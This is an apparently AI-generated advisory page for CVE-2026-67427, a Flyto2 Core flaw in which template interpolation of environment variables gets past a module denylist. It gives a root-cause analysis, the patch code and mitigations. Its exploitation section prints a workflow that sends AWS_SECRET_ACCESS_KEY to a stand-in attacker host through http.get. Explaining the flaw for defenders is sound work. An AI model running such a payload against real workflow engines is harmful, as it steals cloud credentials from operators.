CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-67427

CVE-2026-67427: Host Environment Variable Access Policy Bypass via Template Interpolation in Flyto2 Core

Amit Schendel
Amit Schendel
Senior Security Researcher

Jul 30, 2026·5 min read·4 visits

Executive Summary (TL;DR)

A logical separation-of-duty flaw in Flyto2 Core's parser allows workflows to bypass security policies. By embedding '${env.VARIABLE}' template strings inside allowed modules, attackers can extract system-level credentials without trigger-blocking module denylists.

CVE-2026-67427 is a capability bypass vulnerability in the Flyto2 Core workflow execution kernel. Due to a logical inconsistency in how dynamic parameters are resolved, the system evaluates environment variables via template interpolation prior to executing capability filter validation. This permits unprivileged workflow definitions to completely bypass denylist restrictions on the `env.get` module, exfiltrating critical host configurations, API tokens, and credentials via allowed communication channels.

Vulnerability Overview

Flyto2 Core is an execution kernel designed to orchestrate automation workflows and run structured AI-agent behaviors. Within microservice and cloud deployments, these workflows interface with external systems, third-party APIs, and databases. Because the core engine processes untrusted workflow parameters, maintaining a robust boundary between the processing space and the host system's environmental secrets is critical for multi-tenant isolation.

This security bypass is classified under CWE-693: Protection Mechanism Failure. The Flyto2 Core architecture implements an administrative module policy mechanism designed to restrict access to sensitive components. Operators use this capability to denylist dangerous operations, such as system commands or direct environment retrieval via the env.get module.

However, a logical gap exists in the engine's early-stage parameter handling. The system evaluates dynamic placeholders containing system environment references prior to checking the execution permissions of individual modules. Consequently, unauthorized access to host parameters can occur without triggering security policies designed to prevent direct information disclosure.

Root Cause Analysis

The root cause of CVE-2026-67427 is a phase-of-execution inconsistency between the workflow engine's parsing logic and its access-control validations. Flyto2 Core manages runtime executions by parsing parameters inside workflow definitions. A component known as the VariableResolver, defined in src/core/engine/variable_resolver.py, is responsible for identifying placeholders with the ${type.identifier} pattern and replacing them with runtime data.

When processing ${env.VAR} statements, the vulnerable resolver interacts with the host environment using the Python standard library function os.getenv(). This resolution takes place during the initial template parsing phase, prior to the verification routines managed by the engine's capability filters.

Although the module policy layer defined in src/core/module_policy.py correctly blocks direct execution of the env.get module, it does not evaluate parameter values that have already been resolved. Therefore, any allowed network or file-system module can be leveraged to receive and transmit the resolved host credentials, neutralizing the effect of the module denylist.

Code-Level Patch Analysis

The vulnerability was resolved in commit d5f89d71303e3c1e6418d347c5c55fcd173cc8cc by linking the variable resolver's parsing path directly to the security policy engine.

Prior to the patch, VariableResolver resolved host variables directly without evaluating policy constraints:

# Pre-patch vulnerable implementation in src/core/engine/variable_resolver.py
def _get_variable_value(self, var_path: str) -> Any:
    if var_path.startswith("env."):
        parts = var_path.split(".")
        if len(parts) < 2:
            return None
        env_var = parts[1]
        return os.getenv(env_var) # Directly fetches host environment variable

The remediation logic inserts a verification step within the parsing function. The resolver now references the policy check function is_env_var_allowed before returning the environment value:

# Patched implementation in src/core/engine/variable_resolver.py
def _get_variable_value(self, var_path: str) -> Any:
    if var_path.startswith("env."):
        parts = var_path.split(".")
        if len(parts) < 2:
            return None
        env_var = parts[1]
        
        # SECURITY: Gate environment variables through central policy filters
        from core.module_policy import is_env_var_allowed
        if not is_env_var_allowed(env_var):
            logger.warning(
                "Blocked ${env.%s} interpolation: env access is denied by policy.",
                env_var
            )
            return None
        return os.getenv(env_var)

To manage this, the policy engine in src/core/module_policy.py introduces allowlist validation logic. If the env.get module is restricted, only environment variables explicitly listed in FLYTO_ENV_VAR_ALLOWLIST (or those matching wildcard/glob configurations) will be resolved.

Exploitation Methodology

Exploitation of CVE-2026-67427 requires the ability to submit or trigger workflows within Flyto2 Core. The attack is executed by defining a workflow payload that leverages a permitted outbound network module, such as http.get or http.request, to transmit system variables.

Even when administrative configurations restrict module access by blocking the env.get module, an attacker can construct a payload containing the following parameters:

name: Exfiltrate System Context
steps:
  - id: exfil
    module: http.get
    params:
      url: "https://attacker-controlled.site/capture?data=${env.AWS_SECRET_ACCESS_KEY}"

During execution, the VariableResolver scans the parameter values and encounters ${env.AWS_SECRET_ACCESS_KEY}. The engine retrieves the token value from the operating system's memory space and generates the completed URL string. The step validation logic permits execution because http.get is an allowed module, resulting in the plain-text transmission of credentials to the attacker's web server.

Impact Assessment

The impact of this policy bypass is severe in cloud-native infrastructures where automation runners maintain broad resource credentials. If the execution instance processes workflows from multiple users or integrates with untrusted third-party inputs, malicious actors can pivot and gain persistent access to underlying cloud platforms.

The CVSS v3.1 score is 8.6, with a vector string of CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N. The scope is changed (S:C) because the security boundary of the execution sandbox is breached to extract system host data.

Because the exfiltration takes place using approved communication channels, it bypasses security sensors. Standard network defenses fail to alert on these outbound connections, as the packets represent legitimate system traffic originating from legitimate business modules.

Remediation and Defensive Guidance

Remediation requires upgrading the flyto-core dependency to version 2.26.6 or later. If immediate code upgrades are not possible, deployment managers can reduce the exposure by configuring process isolation controls.

Administrators must minimize the presence of sensitive secrets in the host's direct environment variables. Deploying containerized environments with strict environment segregation ensures that only essential variables are available in the container scope.

# Example docker-compose configuration for mitigation
services:
  runner:
    image: flytohub/flyto-core:2.26.6
    environment:
      - FLYTO_MODULE_DENYLIST=env.get,shell.run
      - FLYTO_ENV_VAR_ALLOWLIST=PUBLIC_*,APP_ENV

Additionally, employing temporary or role-based access mechanisms (such as AWS IAM roles or OIDC credentials) instead of static secret environment variables reduces the utility of any leaked host context.

Official Patches

flytohubCore mitigation commit introducing is_env_var_allowed check in template resolution flow.

Fix Analysis (1)

Technical Appendix

CVSS Score
8.6/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
EPSS Probability
0.34%
Top 73% most exploited

Affected Systems

Flyto2 Core

Affected Versions Detail

Product
Affected Versions
Fixed Version
flyto-core
flytohub
< 2.26.62.26.6
AttributeDetail
CWE IDCWE-693 (Protection Mechanism Failure)
Attack VectorNetwork
CVSS v3.1 Score8.6 (High)
EPSS Score0.00339 (Percentile: 26.51%)
ImpactInformation Disclosure (Host Secret Extraction)
Exploit StatusProof-of-Concept / Technical Analysis
KEV StatusNot Listed

MITRE ATT&CK Mapping

T1005Data from Local System
Collection
CWE-693
Protection Mechanism Failure

The product does not use or incorrectly asserts a protection mechanism, allowing attackers to bypass security restrictions.

Known Exploits & Detection

GitHub Security AdvisoryTechnical analysis and remediation directions for the dynamic interpolation bypass.

Vulnerability Timeline

Core authentication processes analyzed.
2026-05-30
Remediation patch d5f89d71303e3c1e6418d347c5c55fcd173cc8cc committed to flyto-core repository.
2026-07-07
GitHub Security Advisory GHSA-hr7p-wg7r-hg9m released publicly.
2026-07-29
NVD record published with an CVSS rating of 8.6.
2026-07-30

References & Sources

  • [1]GitHub Security Advisory GHSA-hr7p-wg7r-hg9m
  • [2]Fix Commit d5f89d7
  • [3]Flyto Core v2.26.6 Release Notes
  • [4]Official CVE Record

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•35 minutes ago•CVE-2026-67429
10.0

CVE-2026-67429: Arbitrary File Write and Path Traversal in Flyto2 Core Modules

CVE-2026-67429 is a critical path traversal vulnerability in Flyto2 Core file-writing modules, including image.download and twelve other modules. By exploiting an insecure validation check that relied on user-controlled parameters, unauthenticated remote attackers can bypass directory confinement and write arbitrary files to the file system, leading to remote code execution.

Alon Barad
Alon Barad
0 views•6 min read
•about 3 hours ago•CVE-2026-67425
8.6

CVE-2026-67425: Insecure Credential Forwarding in Flyto2 Core

An insecure credential forwarding vulnerability in Flyto2 Core prior to version 2.26.6 allows attackers to exfiltrate operator API keys. This occurs because the system forwards environment-derived API keys to user-controlled custom endpoints, bypassing SSRF guards designed only for private target validation.

Amit Schendel
Amit Schendel
5 views•6 min read
•about 4 hours ago•CVE-2025-4318
9.0

CVE-2025-4318: Remote Code Execution in AWS Amplify codegen-ui

A critical remote code execution (RCE) vulnerability exists in AWS Amplify Studio's code-generation library (@aws-amplify/codegen-ui). An authenticated attacker with permissions to create or modify component schemas can inject malicious JavaScript code into those schemas. When the Amplify CLI or the build environment processes these schemas, the unvalidated expressions are executed within the host Node.js environment, leading to full system compromise.

Alon Barad
Alon Barad
8 views•5 min read
•about 5 hours ago•CVE-2026-67426
9.3

CVE-2026-67426: Unauthenticated Remote Code Execution and Secret Exfiltration in Flyto2 Core

CVE-2026-67426 is a critical vulnerability in Flyto2 Core prior to version 2.26.7. The standalone flyto-verification service binds to all interfaces (0.0.0.0) on port 8344 and exposes an unauthenticated POST /run endpoint. This endpoint accepts an arbitrary client-controlled callback URL and makes an outbound POST request containing the sensitive internal runner secret in the headers. Attackers can exploit this to retrieve the FLYTO_RUNNER_SECRET and perform Server-Side Request Forgery (SSRF) against internal network targets.

Amit Schendel
Amit Schendel
6 views•6 min read
•about 6 hours ago•CVE-2026-66066
9.8

CVE-2026-66066: Pre-Authentication Arbitrary File Read and Remote Code Execution in Ruby on Rails Active Storage

CVE-2026-66066 (popularly known as 'KindaRails2Shell') is a critical security vulnerability in the Active Storage component of Ruby on Rails. The vulnerability arises from an insecure default integration with the libvips image processing library via the ruby-vips gem. Under default configurations, Active Storage fails to restrict untrusted format loaders within libvips, allowing remote, unauthenticated attackers to upload malformed files that leverage external dataset features to read local server files. By extracting cryptographic secrets such as SECRET_KEY_BASE from the leaked file contents, attackers can forge signed Marshal serialization payloads to achieve remote code execution.

Alon Barad
Alon Barad
12 views•6 min read
•about 7 hours ago•CVE-2026-54722
8.7

CVE-2026-54722: Server-Side Request Forgery (SSRF) Bypass via Userinfo Stripping in dssrf-js

An SSRF validation bypass exists in dssrf-js (v1.0.3 and prior) due to an improper string normalization sequence inside is_url_safe. Before validating the host using Node's WHATWG parser, the helper strips the '@' symbol. This corrupts the parser's authority resolution, while the application's client requests the original, un-sanitized string containing internal IP targets.

Alon Barad
Alon Barad
6 views•6 min read